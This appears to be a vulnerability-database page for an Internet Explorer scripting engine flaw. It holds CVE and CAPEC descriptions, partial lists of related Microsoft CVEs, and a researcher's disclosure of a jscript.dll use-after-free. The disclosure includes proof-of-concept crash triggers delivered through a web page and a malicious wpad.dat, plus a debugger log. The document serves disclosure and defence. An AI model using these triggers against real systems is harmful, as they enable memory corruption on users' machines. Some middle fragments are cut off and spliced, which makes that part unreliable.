Summary

Internet Explorer in Microsoft Windows 7 SP1, Windows Server 2008 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, 1709, and Windows Server 2016 allows an attacker to gain the same user rights as the current user, due to how Internet Explorer handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11886, CVE-2017-11889, CVE-2017-11890, CVE-2017-11893, CVE-2017-11894, CVE-2017-11895, CVE-2017-11901, CVE-2017-11905, CVE-2017-11907, CVE-2017-11908, CVE-2017-11909, CVE-2017-11910, CVE-2017-11911, CVE-2017-11912, CVE-2017-11913, CVE-2017-11914, CVE-2017-11916, CVE-2017-11918, and CVE-2017-11930.

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

    (CVE-2017-11899)

  - An information disclosure vulnerability exists when the
    scripting engine does not properly handle objects in
    memory in Microsoft browsers. An attacker who
    successfully exploited the vulnerability could obtain
    information to further compromise the users system.
    (CVE-2017-11919)

  - A remote code execution vulnerability exists when
    Microsoft Edge improperly accesses objects in memory.
    The vulnerability could corrupt memory in such a way
    that enables an attacker to execute arbitrary code in
    the context of the current user. An attacker who
    successfully exploited the vulnerability could gain the
    same user rights as the current user.  (CVE-2017-11888)

  - A remote code execution vulnerability exists when
    Internet Explorer improperly accesses objects in memory.
    The vulnerability could corrupt memory in such a way
    that an attacker could execute arbitrary code in the

    CVE-2017-11907, CVE-2017-11913)

  - A remote code execution vulnerability exists in RPC if
    the server has Routing and Remote Access enabled. An
    attacker who successfully exploited this vulnerability
    could execute code on the target system. An attacker
    could then install programs; view, change, or delete
    data; or create new accounts with full user rights.
    (CVE-2017-11885)

  - A remote code execution vulnerability exists in the way
    the scripting engine handles objects in memory in

    An attacker who successfully exploited the vulnerability
    could obtain information to further compromise the users
    system.  (CVE-2017-11887, CVE-2017-11906)

  - An information disclosure vulnerability exists when the
    Windows its:// protocol handler unnecessarily sends
    traffic to a remote site in order to determine the zone
    of a provided URL. This could potentially result in the
    disclosure of sensitive information to a malicious site.

descriptionThere is a use-after-free vulnerability in jscript.dll. This issue could potentially be exploited through multiple vectors: - An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. This works because wpad.dat files are JavaScript files interpreted with jscript.dll on the WPAD client. Note that, in this case, an attacker who successfully exploited the vulnerability would gain the same privileges as the WinHTTP Web Proxy Auto-Discovery Service. - The issue can also be exploited by opening a malicious web page in Internet Explorer. The issue has been verified on 64-bit Win7 with the most recent patches applied. PoC for Internet Explorer (might require page heap to trigger the crash): ``` <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> var vars = new Array(100); for(var i=0;i<100;i++) vars[i] = {}; function f() { vars[1] = 1; CollectGarbage(); return {}; } vars[1].toString = f; Array.prototype.join.call(vars); </script> ``` PoC for WPAD (might require page heap to trigger the crash): ``` function FindProxyForURL(url, host) { var vars = new Array(100); for(var i=0;i<100;i++) vars[i] = {}; function f() { vars[1] = 1; CollectGarbage(); return {}; } vars[1].toString = f; Array.prototype.join.call(vars); return "DIRECT"; } ``` ### Technical details: The issue is in NameTbl::GetValDef which is called when an object is converted to a string. The function attempts to call toString() or valueOf() of the NameTbl object 2 times or until the return value isn't an JavaScript object. The issue is that the NameTbl object on which these methods are called isn't explicitly tracked by the garbage collector, which means the object can be deleted inside the toString/valueOf callback (as long as it's not tracked by the garbage collector somewhere else). Basically, toString/valueOf can delete its 'this' object. Note that the crash location in the Debug log immediately precedes a virtual method call. Debug log (from IE, but it looks similar in the WPAD service): ``` (a68.e4c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript!NameTbl::GetValDef+0x58: 000007fe`f5dea398 498b06 mov rax,qword ptr [r14] ds:00000000`044d9f90=???????????????? 0:013> r rax=0000000000000001 rbx=000007fef5d7bd50 rcx=00000000044acfa0 rdx=0000000000000000 rsi=0000000012b49fb8 rdi=0000000000000001 rip=000007fef5dea398 rsp=0000000012b49ae0 rbp=0000000000000000 r8=0000000004309f20 r9=0000000004309670 r10=0000000000000081 r11=0000000012b49a60 r12=0000000000000080 r13=0000000000000008 r14=00000000044d9f90 r15=0000000000000000 iopl=0 nv up ei ng nz ac po cy cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 jscript!NameTbl::GetValDef+0x58: 000007fe`f5dea398 498b06 mov rax,qword ptr [r14] ds:00000000`044d9f90=????????????????
